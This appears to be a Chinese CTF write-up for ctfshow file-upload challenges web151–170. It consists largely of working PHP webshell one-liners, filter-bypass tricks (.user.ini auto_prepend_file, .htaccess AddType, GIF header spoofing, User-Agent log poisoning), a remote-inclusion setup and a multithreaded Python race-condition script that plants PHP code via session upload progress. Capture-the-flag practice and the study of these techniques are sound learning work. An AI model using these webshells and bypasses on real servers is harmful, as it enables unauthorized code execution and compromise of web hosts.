Web系列-文件上传

news/2024/11/14 3:29:11/文章来源:https://www.cnblogs.com/xiaochange/p/18331191

Web系列-文件上传

做题思路

前端限制了上传文件的后缀,可以在前端修改代码或者bp抓包,再上传符合前端要求的文件类型,抓包后进行修改。

如果是php的环境,可以利用.user.ini,是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含

.user.ini利用需要在此目录下还有php文件,.user.ini上传的文件和原有的php文件需要在同一目录下
auto_prepend_file=xxx   示在文件头包含
auto_append_file=xxx    表示在文件尾包含

检测文件内容,可以利用文件头绕过,ctfshow的检测统一用GIF绕过就行。

用htaccess来做。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

.htaccess文件到目录,.htaccess的内容如下:

AddType application/x-httpd-php .jpg

这意味着任何.jpg文件将被当作PHP脚本来执行。

传入之后可以在url/upload/xxx.jpg页面拿到shell。

一种思路是用.user.ini进行日志包含,然后在访问的时候ua加上一句话,再上传一个php文件来进行包含。

.user.ini

auto_prepend_file=/var/log/nginx/access.log

访问修改ua

mumamuma<?=eval($_POST[xce])?>mumamuma

接着任意上传一个php,再去命令执行拿到flag

文件包含内容太多,可以用phpinfo()作为瞄点,来找内容

一些马:

#ban了php
<script language="PhP">
eval($_POST[cmd]);
</script>xce#短标签
<?=eval($_POST[cmd]);?>xce#ban了中括号用花括号绕过
<?=eval($_POST{xce});?>xce#ban了中括号和花括号,用array_pop绕过
<?=eval(array_pop($_POST))?>xce
post:1=system("ls");#直接利用`进行代码执行
<?=`ls`?>xce#日志包含
<?=include"/var/lo"."g/nginx/access.lo"."g"?>xce
#在访问的时候修改ua
<?=eval(array_pop($_POST))?>xce
在upload页面post:1=system("tac ../fla*");

web151

题目提示:前端校验不可靠

上传图片格式的一句话木马,用bp抓包后修改后缀为php,然后用蚁剑连接就行。

web152

题目提示:后端校验要严密

做法和上题一致。

web153

当我们访问url/upload之后提示:nothing here

也就是意味着,在upload文件夹下有一个index.php的文件在进行解析。

在这里先成功上传一张图片格式的一句话木马,接着上传.user.ini文件来进行文件包含。

.user.ini文件其实就是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含

.user.ini利用需要在此目录下还有php文件,.user.ini上传的文件和原有的php文件需要在同一目录下
auto_prepend_file=xxx   示在文件头包含
auto_append_file=xxx    表示在文件尾包含

抓包上传.user.ini,直接访问url/upload就会包含上传的图片格式的一句话木马并进行解析,拿到shell。

image-20240718222519768

web154

直接上传图片格式的一句话木马,提示:文件内容不合规

上传的时候校验了我们上传的内容,检测了php,这里可以用短标签进行绕过。

脚本风格

<script language="php">
eval($_POST['cmd']);
</script>xce

默认开启,无法禁用

笔者曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 <? 以及 php,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过

<script language="PhP">
eval($_POST[cmd]);
</script>xce

简短风格

<?=
eval($_POST[cmd]);
?>xce

此种风格需要在配置文件php.ini中启用short_open_tage选项


在这里将一句话木马写成这样:

<?=
eval($_POST[xce]);
?>111xce

上传图片格式的一句话木马之后还是用.user.ini进行包含,拿到shell。

web155

同样的操作,上传图片格式的一句话木马,用.user.ini进行文件包含,会检测是否含有php,用短标签即绕过。

web156

上传图片格式的时候,发现内容不合规,逐一测试发现把[给ban了。。

把方括号过滤了,我们可以用花括号绕过之后,用.user.ini进行文件包含去拿到shell。

<?=
eval($_POST{xce});
?>111xce

web157

把花括号给ban了,利用array_pop绕过,还ban了分号,这里可以将分号直接去掉。(假如有多行代码,分号被ban了也可以用,绕过)

array_pop() 是 PHP 中用于从数组末尾弹出(移除)元素的函数。它不仅会移除数组中的最后一个元素,还会返回该元素的值。

<?php
$fruits = ["apple", "banana", "system(\"ls\");"];
$last_fruit = array_pop($fruits);
eval($last_fruit);
echo "弹出的水果是:$last_fruit\n";  // 输出:cherry
print_r($fruits);  // 输出:Array ( [0] => apple [1] => banana )
?>输出:
run
script.php
弹出的水果是:system("ls");
Array
([0] => apple[1] => banana
)

再来看看post

<?=
var_dump($_POST),
?>当用post传入1=xce的时候:
返回
array(1) { [1]=> string(3) "xce" }

array(1) { [1]=> string(3) "xce" } 这个输出代表一个 PHP 数组,但与前一个例子略有不同。让我们分解一下这个输出:

  • array(1):这表示数组有 1 个元素。
  • {}:这些符号用于包围数组中的所有元素。
  • [1]:这是数组中元素的键。通常情况下,索引数组的键是从 0 开始的连续整数,但在这个例子中,第一个元素的键是 1。这可能是因为数组元素被非顺序地添加,或者某些元素已被删除。
  • =>:这个箭头符号用于分隔键和对应的值。
  • string(3) "xce":这表示数组中元素的值是一个字符串,长度为 3,内容是 "xce"。

所以一句话木马我们可以写成,先用array_pop弹出最后一个数组内容,再eval执行,就可以实现不用花括号和中括号。

<?=
eval(array_pop($_POST))
?>111xce
post:1=system("ls");

接下来还是用.user.ini进行文件包含去拿到shell。

web158

用上一题的方法可以直接做出来。这题实际上是在上传内容ban了log字符。

web159

把括号给ban了,可以用`来做。

上传图片格式的一句话木马,用.user.ini进行文件包含

<?=
`ls`
?>111xce<?=
`tac ../fla*`
?>111xce

web160

ban了`,测试的时候发现把空格和log字符串给也给ban了,可以用日志包含来做

上传图片格式,图片用如下代码,将日志文件进行包含,用.user.ini进行文件包含

<?=
include"/var/lo"."g/nginx/access.lo"."g"
?>xce

在访问的时候修改ua

<?=eval(array_pop($_POST))?>111xce

在upload页面post:1=system("tac ../fla*");

web161

按照上题的套路,提示文件格式不合规,猜测有可能是检测了文件头。

用bp加入文件头

png文件头

89 50 4E 47 0D 0A 1A 0A

image-20240722123959570

经测试,均不行。查看wp

上传的文件内容需要添加GIF才能成功上传。

image-20240722160628965

接下来就用web160的方法做就行,上传需要用在上传内容前面加GIF绕过。

其实我觉得有一点点脑洞,前端限制png格式,后端校验GIF。。。其实后端也不是校验GIF

后端是用这行代码校验上传的文件是否是图片格式的getimagesize($_FILES["file"]["tmp_name"]),不太会php,所以目前一知半解,先记住在文件内容前面加GIF可以绕过这个check吧。

剩下的就是日志包含,然后访问修改ua写入一句话木马,拿shell了。

web162

经过测试发现把小数点给ban了,这题可以通远程包含来打。

ip转长地址的脚本:

def ip_to_long(ip_address):# 分割IP地址为四部分octets = ip_address.split('.')# 将每一部分转换为整数octet1 = int(octets[0])octet2 = int(octets[1])octet3 = int(octets[2])octet4 = int(octets[3])# 计算长地址long_address = (octet1 << 24) + (octet2 << 16) + (octet3 << 8) + octet4return long_address# 示例用法
ip_address = "49.233.7.188"
long_address = ip_to_long(ip_address)
print(f"IP地址 {ip_address} 的长地址是: {long_address}")

要修改

allow_url_fopen = On

allow_url_include = On

image-20240722223008159

.user.ini修改为:
auto_prepend_file=http://xxxxxxxxx/

即使是这样,我任然没法成功,报错:

image-20240723130555459

多方查询,目前得知要flask服务期才能成功包含,我也懒弄了。。。先搁着吧,这题还能用session文件包含。


以下内容完全复制粘贴自南神博客

在php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控

简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成。

# 导入必要的库
import io  # 提供用于处理各种流类型的类
import requests  # 用于发送HTTP请求的库
import threading  # 多线程支持# 目标URL
url = 'https://1a828b9c-dbc7-49a9-8b7f-8b453851c2d1.challenge.ctf.show/'# 定义一个函数用于向服务器写入数据
def write(session):# 构造恶意的POST数据,尝试上传包含PHP代码的文件data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'}# 无限循环,直到被中断while True:# 创建一个BytesIO对象,模拟一个PNG文件f = io.BytesIO(b'GIF89a\ndotast')# 准备要上传的文件files = {'file': ('1.png', f, 'image/png')}# 使用session发送POST请求到特定的URL,并携带特定的cookieresponse = session.post(url+"upload.php", cookies={'PHPSESSID': 'muma'}, data=data, files=files)# 定义一个函数用于从服务器读取数据
def read(session):# 无限循环,直到找到特定字符串或被中断while True:# 发送GET请求获取上传的文件列表response = session.get(url+'upload')# 检查响应中是否包含'ctfshow'字符串if 'ctfshow' in response.text:# 如果找到了,打印响应文本并结束循环print(response.text)breakelse:# 否则,打印重试信息print('retry')# 主函数
if __name__ == '__main__':# 创建一个requests的会话对象session = requests.session()# 启动30个线程来执行write函数for i in range(30):threading.Thread(target=write, args=(session,)).start()# 启动30个线程来执行read函数for i in range(30):threading.Thread(target=read, args=(session,)).start()

自己未做出。。。

web166

让上传zip格式的,直接上传发现有一个下载功能,查看之后发现url是

https://4dee23cf-cf91-4fda-a069-92ed138e3613.challenge.ctf.show/upload/download.php?file=e47e77def86e271775010575b2d76519.zip

说明在upload文件夹下有一个download.php,这个有可能存在文件包含漏洞

所以只要直接上传zip的时候写入一句话就可以,接下来就是利用文件包含漏洞来getshell。

image-20240723140328931

已经上传,点击下载文件的时候再抓个包,将方法改成post,就可以拿到shell。

image-20240723140304614

附带一下download.php的源代码

<?php
error_reporting(0);
$file= $_GET['file'];
if(!isset($file)){die('文件不存在');
}if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){die('文件不存在');
}if(check($file)){die('文件不存在!');
}else{include($file);header('Content-Type:application/x-zip-compressed');
}function check($str){$ret = FALSE;$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');foreach ($arrayName as $key) {$ret = checkPro($key,$str);}return $ret;
}function checkPro($key,$str){$len = strlen($key);$mt = substr($str, 0,$len);return $len==$mt;
}

可以看到文件包含。

web167

这次check变了,只能上传jpg格式的图片,上传之后可以找到图片路径在url/upload/xxx.jpg

这次访问upload目录,下面没有php文件,意味着我们不能用.user.ini来进行文件包含。

这次用htaccess来做。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

.htaccess文件到目录,.htaccess的内容如下:

AddType application/x-httpd-php .jpg

这意味着任何.jpg文件将被当作PHP脚本来执行。

传入之后可以在url/upload/xxx.jpg页面拿到shell。

web168

文件只能上传png格式,但是抓包可以改,甚至可以直接上传php文件。

image-20240723174838856

上传时返回空,题目给了提示,基础免杀,应该是把一些内容给ban了。

<?=`ls`?>

用这种写法可以命令执行,

<?=`cat ../upload.php`?>

看看源码:

0) {$ret = array("code" => 2, "msg" => $_FILES["file"]["error"]);
} else {$filename = $_FILES["file"]["name"];$filesize = ($_FILES["file"]["size"] / 1024);if ($filesize > 1024) {$ret = array("code" => 1, "msg" => "文件超过1024KB");} else {if ($_FILES['file']['type'] == 'image/png') {$str = file_get_contents($_FILES["file"]["tmp_name"]);if (check($str) === 0) {move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);$ret = array("code" => 0, "msg" => $_FILES["file"]["name"]);}} else {$ret = array("code" => 2, "msg" => "文件类型不合规");}}
}function check($str) {return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}
echo json_encode($ret);

web169

题目提示高级免杀,用上面的方法不行了。

看了南神的博客,发现有一种思路是用.user.ini进行日志包含,然后在访问的时候ua加上一句话,再上传一个php文件来进行包含。

.user.ini

auto_prepend_file=/var/log/nginx/access.log

访问修改ua

mumamuma<?=eval($_POST[xce])?>mumamuma

接着任意上传一个php,再去命令执行拿到flag。

image-20240723182703167

有一个小技巧,文件包含内容太多,可以用phpinfo()作为瞄点,来找内容。

web170

web169的方法可以通杀。

自己踩得坑

hackbar失效

有好几道题目,用蚁剑可以连接,但是用hackbar执行命令没反应。

原因是用蚁剑的时候,加载url的时候会自动加上/,所以。。。

image-20240721165950833

最后一定要自己加一个斜杠,要不不能正确识别到目录。。。

随便说几句

web162、163可以用远程包含做,可以用session条件竞争做,两种方法我都没做出来。。。

web164、165好像是图片二次渲染,我也没做。。。

几乎都是看着wp做出来的,呜呜呜,我太菜了。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/773832.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ollama】手把手教你布置本地大语言模型 以及各种常见用途#如何加载guff模型到ollama #如何更改ollama目录

ollama介绍 Ollama 是一个开源框架,专为在本地机器上便捷部署和运行大型语言模型(LLM)而设计。 以下是其主要特点和功能概述:简化部署:Ollama 目标在于简化在 Docker 容器中部署大型语言模型的过程,使得非专业用户也能方便地管理和运行这些复杂的模型。轻量级与可扩展:作…

SPONGE常用教程0:软件安装教程

课程准备阶段,介绍最简明安装流程,安装过程中如果遇到其他问题,请移步官方教程。第三方软件只提供个人安装心得。 软件安装环境默认为linux。 软件支持 SPONGE(Simulation Package tOward Next GEneration molecular modelling)是由北京大学高毅勤课题组开发的分子动力学模…

使用高速收发器进行数据传输(一)

本来想做一个这样的项目,但是简单地使用这个方法传递数据实在是没意义; 我希望最后以万兆网来实现这点; 目前事实上只是按照UG476的要求给IP核数据和取数即可,并不困难;

虚拟机:GCC共享库在连接时的搜索位置和优选次序

假设有两个相同的共享库,一个在标准的共享库搜索目录(/lib/i386-linux-gnu), 一个在非标准目录(/home/charles/tmp):在/home/charles/tmp下有个测试程序main.c, 调用共享库里的函数。 用如下的命令编译: 用ldd看一下link的共享库:可以看出,虽然我们指定了 要使用 …

mysql导出csv文件中文乱码解决方案

确认csv文件导出编码格式,如果已经知道了 ->从文本/csv导出 ->选择文件原始格式 ->转换保存即可 如果不知道是什么编码可以通过记事本或者 nop++打开查看文件编码格式 一般导出和保存的编码格式为:utf8,gb2312,ANSI

SmartSQL:一款方便、快捷的数据库文档查询、生成工具

SmartSQL ⚡ 一款方便、快捷的数据库文档查询、生成工具 致力于成为帮助企业快速实现数字化转型的元数据管理工具 🚩 项目介绍SmartSQL 是一款方便、快捷的数据库文档查询、导出工具!从最初仅支持SqlServer数据库、CHM文档格式开始,通过不断地探索开发、集思广益和不断改进…

Django-APP及项目入门

1. APP定义:Django中功能的细分,每个APP有独立的数据库、表结构、HTML模版、CSS。创建APP python manage.py startapp app01重要文件介绍 views.py:常用文件,urls中的函数常常在此处定义。 models.py:常用文件,对数据库进行操作。2. 项目入门确保app也注册(settings.py)…

7.22 ~ 7.28

原来模拟赛就是一个不断挂分的过程啊7.22 上午听学长讲课。 不过这次讲的还是挺快的。可能因为都是数学? 然后打了打前几天的板子,改完了前几天的题,赛后总结就先咕了 下午依然是模拟赛。 T1 T2 都是签到题,但题面出了一点小问题:T1 没有规定 \(a_i\) 的正负; T2 没有说明…

Label Smoothing

简单的说,Label Smoothing就是把one-hot向量从[0,0,1,0,0,0,...,0]变成[0.01,0.01,0.8,0.01,0.01,0.01,...,0.01],用公式表示,就是其中,k是类别数量,a是一个较小的数.这样做的目的是为了缓解模型过于武断的问题,增强模型的泛化能力,预防过拟合等等.但是也会带来一些问题,如增加…

Android 8.0 源码分析 (四) Activity 启动

链接:https://juejin.cn/post/6844903983442558989 前言 我们熟知一般 Android 工程师都是在应用层上���发,不会涉及系统源码,但是如果你想往底层发展,或者深入插件化、Framework 系统层等开发工作,如果不了解 Android 源码可是不行的,那么接下来我基于自己的理解跟学…

心跳机制

1、简介 在长连接中, 客户端和服务器之间定期发送一个固定信息给服务器端, 通知对方自己还在线,以确保连接的有效性。 在服务器和客户端之间一定时间内没有数据交互时,即处于 idle 状态时,客户端或服务器会发送一个特殊的数据包(即心跳包)给对方,当接收方收到这个数据报…